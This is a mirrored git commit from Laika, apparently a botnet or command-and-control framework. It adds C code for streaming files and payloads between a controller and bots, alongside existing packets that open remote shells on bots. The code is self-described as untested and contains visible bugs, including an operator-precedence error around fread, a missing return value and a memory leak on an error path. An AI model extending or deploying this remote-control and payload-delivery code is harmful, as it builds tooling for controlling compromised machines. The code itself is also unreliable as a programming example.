mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-23 05:10:09 +00:00
Lib: Added content stream boilerplate
- code is untested
This commit is contained in:
parent
81360a8072
commit
b02f48c006
2
.gitignore
vendored
2
.gitignore
vendored
@ -3,5 +3,3 @@ debug
|
||||
bin
|
||||
.vscode
|
||||
lconfig.h
|
||||
lcontent.c
|
||||
lcontent.h
|
||||
|
46
lib/include/lcontent.h
Normal file
46
lib/include/lcontent.h
Normal file
@ -0,0 +1,46 @@
|
||||
#ifndef LAIKA_CONTENT_H
|
||||
#define LAIKA_CONTENT_H
|
||||
|
||||
#include "lpeer.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <inttypes.h>
|
||||
|
||||
enum {
|
||||
CONTENT_FILE,
|
||||
CONTENT_PAYLOAD
|
||||
};
|
||||
|
||||
enum {
|
||||
CONTENT_ERR_ID_IN_USE,
|
||||
CONTENT_ERR_INVALID_ID
|
||||
};
|
||||
|
||||
typedef uint8_t CONTENT_TYPE;
|
||||
typedef uint8_t CONTENT_ERRCODE;
|
||||
|
||||
struct sLaika_content {
|
||||
FILE *fd;
|
||||
uint32_t sz; /* content size */
|
||||
uint32_t processed;
|
||||
uint16_t id;
|
||||
CONTENT_TYPE type;
|
||||
struct sLaika_content *next;
|
||||
};
|
||||
|
||||
struct sLaika_contentContext {
|
||||
struct sLaika_peer *peer;
|
||||
struct sLaika_content *headIn; /* receiving from peer */
|
||||
struct sLaika_content *headOut; /* sending to peer */
|
||||
uint16_t nextID;
|
||||
};
|
||||
|
||||
void laikaF_initContext(struct sLaika_contentContext *context, struct sLaika_peer *peer);
|
||||
void laikaF_cleanContext(struct sLaika_contentContext *context);
|
||||
|
||||
int laikaF_newOutContent(struct sLaika_contentContext *context, FILE *fd, CONTENT_TYPE type);
|
||||
void laikaF_newInContent(struct sLaika_contentContext *context, uint16_t id, uint32_t sz, CONTENT_TYPE type);
|
||||
|
||||
void laikaF_poll(struct sLaika_contentContext *context);
|
||||
|
||||
#endif
|
@ -58,30 +58,6 @@ enum {
|
||||
/* layout of LAIKAPKT_PINGPONG:
|
||||
* NULL (empty packet)
|
||||
*/
|
||||
LAIKAPKT_TUNNEL_OPEN, /* if sent to bot, opens a tunnel to localhost's port. if sent to cnc, signifies you opened the tunnel */
|
||||
/* layout of LAIKAPKT_TUNNEL_OPEN:
|
||||
* uint16_t port;
|
||||
*/
|
||||
LAIKAPKT_TUNNEL_CLOSE, /* if sent to bot, closes a tunnel to localhost's port. if sent to cnc, signifies you closed the tunnel */
|
||||
/* layout of LAIKAPKT_TUNNEL_CLOSE:
|
||||
* uint16_t port;
|
||||
*/
|
||||
LAIKAPKT_TUNNEL_CONNECTION_ADD,
|
||||
/* layout of LAIKAPKT_TUNNEL_CONNECTION_ADD:
|
||||
* uint16_t port;
|
||||
* uint16_t id;
|
||||
*/
|
||||
LAIKAPKT_TUNNEL_CONNECTION_RMV,
|
||||
/* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV:
|
||||
* uint16_t port;
|
||||
* uint16_t id;
|
||||
*/
|
||||
LAIKAPKT_TUNNEL_CONNECTION_DATA,
|
||||
/* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV:
|
||||
* uint16_t port;
|
||||
* uint16_t id;
|
||||
* uint8_t data[VAR_PACKET_LENGTH-4]; -- '-4' for the port & id
|
||||
*/
|
||||
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
|
||||
/* layout of LAIKAPKT_SHELL_OPEN:
|
||||
* uint32_t id; // this field is absent from the panel/auth client
|
||||
@ -95,7 +71,23 @@ enum {
|
||||
LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */
|
||||
/* layout of LAIKAPKT_SHELL_DATA
|
||||
* uint32_t id; // this field is absent from the panel/auth client
|
||||
* char buf[VAR_PACKET_LENGTH];
|
||||
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
|
||||
*/
|
||||
LAIKAPKT_CONTENT_NEW,
|
||||
/* layout of LAIKAPKT_CONTENT_NEW:
|
||||
* uint16_t id;
|
||||
* uint32_t sz;
|
||||
* uint8_t type;
|
||||
*/
|
||||
LAIKAPKT_CONTENT_ERROR,
|
||||
/* layout of LAIKAPKT_CONTENT_ERROR:
|
||||
* uint16_t id;
|
||||
* uint8_t errCode;
|
||||
*/
|
||||
LAIKAPKT_CONTENT_CHUNK, /* variadic */
|
||||
/* layout of LAIKAPKT_CONTENT_CHUNK:
|
||||
* uint16_t id;
|
||||
* uint8_t buf[VAR_PACKET_LENGTH-sizeof(uint16_t)];
|
||||
*/
|
||||
/* ==================================================[[ Auth ]]================================================== */
|
||||
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
|
||||
|
153
lib/src/lcontent.c
Normal file
153
lib/src/lcontent.c
Normal file
@ -0,0 +1,153 @@
|
||||
#include "lcontent.h"
|
||||
#include "lmem.h"
|
||||
#include "lerror.h"
|
||||
|
||||
#include "lsocket.h"
|
||||
#include "lpeer.h"
|
||||
|
||||
size_t getSize(FILE *fd) {
|
||||
size_t sz;
|
||||
fseek(fd, 0L, SEEK_END);
|
||||
sz = ftell(fd);
|
||||
fseek(fd, 0L, SEEK_SET);
|
||||
return sz;
|
||||
}
|
||||
|
||||
bool isValidID(struct sLaika_contentContext *context, uint16_t id) {
|
||||
struct sLaika_content *curr = context->headIn;
|
||||
|
||||
while (curr) {
|
||||
if (curr->id == id)
|
||||
return true;
|
||||
|
||||
curr = curr->next;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void freeContent(struct sLaika_content *content) {
|
||||
fclose(content->fd);
|
||||
laikaM_free(content);
|
||||
}
|
||||
|
||||
void rmvFromOut(struct sLaika_contentContext *context, struct sLaika_content *content) {
|
||||
struct sLaika_content *last = NULL, *curr = context->headOut;
|
||||
|
||||
while (curr) {
|
||||
/* if found, remove it! */
|
||||
if (curr == content) {
|
||||
if (last)
|
||||
last->next = curr->next;
|
||||
else
|
||||
context->headOut = curr->next;
|
||||
|
||||
freeContent(curr);
|
||||
break;
|
||||
}
|
||||
|
||||
last = curr;
|
||||
curr = curr->next;
|
||||
}
|
||||
}
|
||||
|
||||
void sendContentError(struct sLaika_peer *peer, uint16_t id, CONTENT_ERRCODE err) {
|
||||
laikaS_startOutPacket(peer, LAIKAPKT_CONTENT_ERROR);
|
||||
laikaS_writeInt(&peer->sock, &id, sizeof(uint16_t));
|
||||
laikaS_writeByte(&peer->sock, err);
|
||||
laikaS_endOutPacket(peer);
|
||||
}
|
||||
|
||||
void laikaF_initContext(struct sLaika_contentContext *context, struct sLaika_peer *peer) {
|
||||
context->peer = peer;
|
||||
context->headIn = NULL;
|
||||
context->headOut = NULL;
|
||||
context->nextID = 0;
|
||||
}
|
||||
|
||||
void laikaF_cleanContext(struct sLaika_contentContext *context) {
|
||||
struct sLaika_content *tmp, *curr;
|
||||
|
||||
/* free IN list */
|
||||
curr = context->headIn;
|
||||
while (curr) {
|
||||
tmp = curr->next;
|
||||
freeContent(curr);
|
||||
curr = tmp;
|
||||
}
|
||||
|
||||
/* free OUT list */
|
||||
curr = context->headOut;
|
||||
while (curr) {
|
||||
tmp = curr->next;
|
||||
freeContent(curr);
|
||||
curr = tmp;
|
||||
}
|
||||
}
|
||||
|
||||
int laikaF_newOutContent(struct sLaika_contentContext *context, FILE *fd, CONTENT_TYPE type) {
|
||||
struct sLaika_content *content = (struct sLaika_content*)laikaM_malloc(sizeof(struct sLaika_content));
|
||||
struct sLaika_peer *peer = context->peer;
|
||||
|
||||
/* init content struct */
|
||||
content->fd = fd;
|
||||
content->sz = getSize(fd);
|
||||
content->processed = 0;
|
||||
content->id = context->nextID++;
|
||||
content->type = type;
|
||||
|
||||
/* add to list */
|
||||
content->next = context->headOut;
|
||||
context->headOut = content;
|
||||
|
||||
/* let the peer know we're sending them some content */
|
||||
laikaS_startOutPacket(peer, LAIKAPKT_CONTENT_NEW);
|
||||
laikaS_writeInt(&peer->sock, &content->id, sizeof(uint16_t));
|
||||
laikaS_writeInt(&peer->sock, &content->sz, sizeof(uint32_t));
|
||||
laikaS_writeByte(&peer->sock, type);
|
||||
laikaS_endOutPacket(peer);
|
||||
}
|
||||
|
||||
void laikaF_newInContent(struct sLaika_contentContext *context, uint16_t id, uint32_t sz, CONTENT_TYPE type) {
|
||||
struct sLaika_content *content = (struct sLaika_content*)laikaM_malloc(sizeof(struct sLaika_content));
|
||||
|
||||
if (isValidID(context, id)) {
|
||||
sendContentError(context->peer, id, CONTENT_ERR_ID_IN_USE);
|
||||
LAIKA_ERROR("ID [%d] is in use!\n", id);
|
||||
}
|
||||
|
||||
content->fd = tmpfile();
|
||||
content->sz = sz;
|
||||
content->processed = 0;
|
||||
content->id = id;
|
||||
content->type = type;
|
||||
|
||||
/* add to list */
|
||||
content->next = context->headIn;
|
||||
context->headIn = content;
|
||||
}
|
||||
|
||||
void laikaF_poll(struct sLaika_contentContext *context) {
|
||||
uint8_t buff[LAIKA_MAX_PKTSIZE-sizeof(uint16_t)];
|
||||
struct sLaika_peer *peer = context->peer;
|
||||
struct sLaika_content *tmp, *curr = context->headOut;
|
||||
int rd;
|
||||
|
||||
/* traverse our out content, sending each chunk */
|
||||
while (curr) {
|
||||
/* if we've reached the end of the file stream, remove it! */
|
||||
if (rd = fread(buff, sizeof(uint8_t), (curr->sz - curr->processed > (LAIKA_MAX_PKTSIZE-sizeof(uint16_t)) ? LAIKA_MAX_PKTSIZE-sizeof(uint16_t) : curr->sz - curr->processed), curr->fd) == 0) {
|
||||
tmp = curr->next;
|
||||
rmvFromOut(context, curr);
|
||||
curr = tmp;
|
||||
continue;
|
||||
}
|
||||
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_CONTENT_CHUNK);
|
||||
laikaS_writeInt(&peer->sock, &curr->id, sizeof(uint16_t));
|
||||
laikaS_write(&peer->sock, buff, rd);
|
||||
laikaS_endVarPacket(peer);
|
||||
|
||||
curr = curr->next;
|
||||
}
|
||||
}
|
@ -7,19 +7,16 @@ const char* laikaD_getPacketName(LAIKAPKT_ID id) {
|
||||
"LAIKAPKT_HANDSHAKE_REQ",
|
||||
"LAIKAPKT_HANDSHAKE_RES",
|
||||
"LAIKAPKT_PINGPONG",
|
||||
"LAIKAPKT_TUNNEL_OPEN",
|
||||
"LAIKAPKT_TUNNEL_CLOSE",
|
||||
"LAIKAPKT_TUNNEL_CONNECTION_ADD",
|
||||
"LAIKAPKT_TUNNEL_CONNECTION_RMV",
|
||||
"LAIKAPKT_TUNNEL_CONNECTION_DATA",
|
||||
"LAIKAPKT_SHELL_OPEN",
|
||||
"LAIKAPKT_SHELL_CLOSE",
|
||||
"LAIKAPKT_SHELL_DATA",
|
||||
"LAIKAPKT_CONTENT_NEW",
|
||||
"LAIKAPKT_CONTENT_ERROR",
|
||||
"LAIKAPKT_CONTENT_CHUNK",
|
||||
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
|
||||
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
|
||||
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
|
||||
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ",
|
||||
"LAIKAPKT_AUTHENTICATED_TUNNEL_OPEN_REQ"
|
||||
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"
|
||||
};
|
||||
|
||||
return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id];
|
||||
|
Loading…
Reference in New Issue
Block a user